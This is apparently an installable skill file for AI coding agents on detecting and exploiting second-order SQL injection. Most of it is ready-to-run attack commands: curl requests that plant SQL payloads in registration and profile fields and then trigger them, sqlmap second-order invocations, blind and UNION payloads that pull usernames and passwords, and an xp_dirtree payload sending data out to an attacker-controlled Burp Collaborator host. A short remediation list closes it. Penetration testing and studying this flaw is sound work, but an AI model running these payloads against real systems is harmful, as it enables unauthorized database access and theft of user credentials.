external/anthropic-cybersecurity-skills/skills/performing-second-order-sql-injection/SKILL.md
Detect and exploit second-order SQL injection vulnerabilities where malicious input is stored in a database and later executed in an unsafe SQL query during a different application operation.
npx skillsauth add seikaikyo/dash-skills performing-second-order-sql-injectionInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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# Map the application to identify:
# 1. STORAGE POINTS: Where user input is saved to database
# - User registration (username, email, address)
# - Profile update forms
# - Comment/review submission
# - File upload metadata
# - Order/booking details
# 2. TRIGGER POINTS: Where stored data is used in queries
# - Admin panels displaying user data
# - Report generation
# - Search functionality using stored preferences
# - Password reset using stored email
# - Export/download features
# Register a user with SQL injection in the username
curl -X POST http://target.com/register \
-d "username=admin'--&password=test123&[email protected]"
# Store SQL injection payload in username during registration
curl -X POST http://target.com/register \
-d "username=test' OR '1'='1'--&password=Test1234&[email protected]"
# Store injection in profile fields
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--"
# Store injection in address field
curl -X POST http://target.com/api/address \
-H "Cookie: session=AUTH_TOKEN" \
-d "address=123 Main St' OR 1=1--&city=Test&zip=12345"
# Store injection in comment/review
curl -X POST http://target.com/api/review \
-H "Cookie: session=AUTH_TOKEN" \
-d "product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--"
# Trigger via password change (uses stored username)
curl -X POST http://target.com/change-password \
-H "Cookie: session=AUTH_TOKEN" \
-d "old_password=Test1234&new_password=NewPass123"
# Trigger via admin user listing
curl -H "Cookie: session=ADMIN_TOKEN" http://target.com/admin/users
# Trigger via data export
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/export-data
# Trigger via search using stored preferences
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/recommendations
# Trigger via report generation
curl -H "Cookie: session=ADMIN_TOKEN" "http://target.com/admin/reports?type=user-activity"
# SQLMap with --second-url for second-order injection
# Store payload at registration, trigger at profile page
sqlmap -u "http://target.com/register" \
--data="username=*&password=test&[email protected]" \
--second-url="http://target.com/profile" \
--cookie="session=AUTH_TOKEN" \
--batch --dbs
# Use --second-req for complex trigger requests
sqlmap -u "http://target.com/api/update-profile" \
--data="display_name=*" \
--second-req=trigger_request.txt \
--cookie="session=AUTH_TOKEN" \
--batch --tables
# Content of trigger_request.txt:
# GET /admin/users HTTP/1.1
# Host: target.com
# Cookie: session=ADMIN_TOKEN
# Boolean-based blind: Check if stored payload causes different behavior
# Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"
# Trigger and observe response difference
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/profile
# Time-based blind second-order
# Store: test'; WAITFOR DELAY '0:0:5'--
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test'; WAITFOR DELAY '0:0:5'--"
# Out-of-band extraction via DNS
# Store: test'; EXEC xp_dirtree '\\attacker.burpcollaborator.net\share'--
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test'; EXEC master..xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--"
# Once injection is confirmed, enumerate database
# Store UNION-based payload
curl -X POST http://target.com/api/profile \
-d "display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--"
# Extract credentials
curl -X POST http://target.com/api/profile \
-d "display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--"
# Trigger execution and read results
curl http://target.com/profile
| Concept | Description | |---------|-------------| | Second-Order Injection | SQL payload stored safely, then executed unsafely in a later operation | | Storage Point | Application function where malicious input is saved to the database | | Trigger Point | Separate function that retrieves stored data and uses it in an unsafe query | | Trusted Data Assumption | Developer assumes database-stored data is safe, skipping parameterization | | Stored Procedure Chains | Injection through stored procedures that use previously saved user data | | Deferred Execution | Payload may not execute until hours or days after initial storage | | Cross-Context Injection | Data stored by one user triggers execution in another user's context |
| Tool | Purpose | |------|---------| | SQLMap | Automated SQL injection with --second-url support for second-order attacks | | Burp Suite | Request tracking and comparison across storage and trigger endpoints | | OWASP ZAP | Automated scanning with injection detection | | Commix | Automated command injection tool supporting second-order techniques | | Custom Python scripts | Building automated storage-and-trigger exploitation chains | | DBeaver/DataGrip | Direct database access for verifying stored payloads |
## Second-Order SQL Injection Report
- **Target**: http://target.com
- **Storage Point**: POST /register (username field)
- **Trigger Point**: GET /admin/users (admin panel)
- **Database**: MySQL 8.0
### Attack Flow
1. Registered user with username: `admin' UNION SELECT password FROM users--`
2. Application stored username safely using parameterized INSERT
3. Admin panel retrieves usernames with unsafe string concatenation in SELECT
4. Injected SQL executes, revealing all user passwords in admin view
### Data Extracted
| Table | Columns | Records |
|-------|---------|---------|
| users | username, password, email | 150 |
| admin_tokens | token, user_id | 3 |
### Remediation
- Use parameterized queries for ALL database operations, including reads
- Never trust data retrieved from the database as safe
- Implement output encoding when displaying database content
- Apply least-privilege database permissions
- Enable SQL query logging for detecting injection attempts
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